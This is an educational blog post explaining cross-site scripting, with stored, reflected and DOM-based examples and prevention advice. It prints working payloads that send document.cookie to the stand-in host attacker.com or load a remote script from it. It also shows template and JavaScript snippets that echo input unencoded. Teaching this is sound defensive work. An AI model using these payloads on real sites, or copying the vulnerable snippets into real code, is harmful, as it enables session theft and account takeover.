What is XSS (Cross-Site Scripting)? Complete Guide with Real Examples (2026)

What is XSS (Cross‑Site Scripting)? Complete 2026 Guide with Real Examples, Code Walkthroughs & Prevention

By Amardeep Maroli | April 5, 2026 | Web Security, XSS, Cybersecurity | 11 min read

Home About Contact

Cross‑Site Scripting (XSS) is one of the most common and dangerous vulnerabilities in web applications. It allows attackers to inject malicious scripts into web pages, which execute in the browser of unsuspecting users.

XSS is widely used in bug bounty programs and penetration testing because it can lead to session hijacking, account takeover, and data theft. This post explains XSS step by step, with real stored, reflected, and DOM‑based examples, plus concrete prevention techniques developers can implement in 2026.

In this post:

1. What is XSS (Cross‑Site Scripting)?
2. How XSS attacks actually work
3. Stored XSS attack example
4. Reflected XSS attack example
5. DOM‑based XSS example
6. Impact of XSS in real apps
7. Prevention techniques (encoding, CSP, etc.)
8. XSS FAQ for developers

What is XSS (Cross‑Site Scripting)?

XSS (Cross‑Site Scripting) is a client‑side injection attack where attackers inject malicious JavaScript into trusted websites. When users visit the affected page, the script runs in their browser without their knowledge.

It exploits trust: The user trusts the site they’re on, not the attacker’s script, which is why XSS is so effective for session hijacking, phishing, and keylogging.

How XSS Actually Works

XSS follows a simple pipeline:

1. Attacker sends untrusted data to the application (via form, URL, comment, etc.).
2. Application fails to validate or encode the input.
3. Malicious script is stored or reflected back to the page.
4. Victim loads the page, and the script executes in their browser.
5. Attacker steals session cookies, redirects to phishing, logs keystrokes, etc.

Simple reflected XSS via URL

https://example.com/search?q=hello

Then attacker sends:

https://example.com/search?q=<script>alert('Hacked!')</script>

If the page dumps q into HTML without encoding, the script executes in the victim’s browser.

Types of XSS

• Stored XSS: The malicious script is saved (usually in a database) and then served to any user who views the polluted page — comments, posts, profile fields, blogs. Permanent and far‑reaching.
• Reflected XSS: The script is reflected in the response via the URL or a form field (e.g., search, error, redirect). It only affects users who click the crafted link. Common in phishing emails.
• DOM‑based XSS: The vulnerability exists purely in JavaScript on the client side (e.g., document.location.hash, reading query parameters). The server sees “clean” HTML, but the browser’s DOM manipulates user‑controlled values without sanitization.

Impact of XSS in Real‑World Apps

• Session hijacking: Script steals document.cookie and sends it to an attacker, allowing them to log in as the victim.
• Account takeover: Attacker hijacks cookies or tokens, then performs actions as the logged‑in user.
• Data theft: Background script records keystrokes, form inputs, or screenshots and exfiltrates them.
• Phishing inside trusted sites: Overlay fake login modals on the real page to trick users into entering credentials.

XSS is not “just an alert()”. In production, it often leads to full account takeover, internal data leaks, and even server‑side pivots when combined with other issues.

Stored XSS: Real Comment Example

Imagine a blog that lets users comment and does not encode HTML output.

<div class="comment">
  <strong>User:</strong> <span id="comment"><?= $user_comment ?></span>
</div>

Attacker submits:

<script>document.location='http://attacker.com?cookie='+document.cookie</script>

Every user who loads the page sends their cookies to attacker.com. This is a classic stored XSS + session‑exfiltration payload.

Reflected XSS: Search‑Box Example

In a search page, the query parameter is directly echoed back:

<h3>Search results for: <?= $_GET['q'] ?></h3>

Attacker lures victim to:

https://site.com/search?q=<script src="https://attacker.com/xss.js"></script>

The browser loads the attacker’s script, which can then perform any action in the victim’s context.

DOM‑Based XSS: Fragment Example

Client‑side code that dangerously uses location.hash:

document.getElementById('content').innerHTML = location.hash.substring(1);

Attacker sends:

https://site.com/page#<script>document.location='http://attacker.com?cookie='+document.cookie</script>

The browser reads the fragment and injects it into the DOM, executing the script. This is dangerous because it never touches the server — making it harder to detect.

How to Prevent XSS (Best Practices 2026)

• Output encoding: Always encode user input before rendering in HTML, attributes, or JavaScript.
• Use frameworks: React, Angular, and Vue automatically escape values by default.
• Content Security Policy (CSP): Restrict execution of inline scripts.
• HttpOnly cookies: Prevent JavaScript from accessing session cookies.
• Input validation: Reject malicious input patterns early.
• Avoid innerHTML: Use safe DOM APIs like textContent.

XSS prevention is about controlling how data flows from user input → server → browser. If you encode properly and restrict script execution, most XSS attacks fail instantly.

Quick XSS Protection Checklist

• Escape output in all templates
• Enable CSP headers
• Use HttpOnly + Secure cookies
• Sanitize user input where needed
• Use modern frameworks

FAQs

What is XSS in simple terms?

XSS is a vulnerability where attackers inject malicious scripts into a website that run in a user’s browser.

What is the most dangerous type of XSS?

Stored XSS is the most dangerous because it affects all users who visit the infected page.

How do developers prevent XSS?

By encoding output, using CSP, and avoiding unsafe DOM operations like innerHTML.

About the Author

Amardeep Maroli

MCA student and cybersecurity enthusiast from Kerala, India. I focus on API security, ethical hacking, and building secure web applications using Node.js, React, and Python. I actively work on real-world vulnerability testing, security automation, and hands-on learning in cybersecurity.

I share practical guides, real attack scenarios, and beginner-to-advanced cybersecurity knowledge to help others learn security the right way — through understanding, not just tools.

📖 Read More Posts 💻 GitHub 📢 Telegram ✉️ Contact

Privacy Policy Disclaimer Terms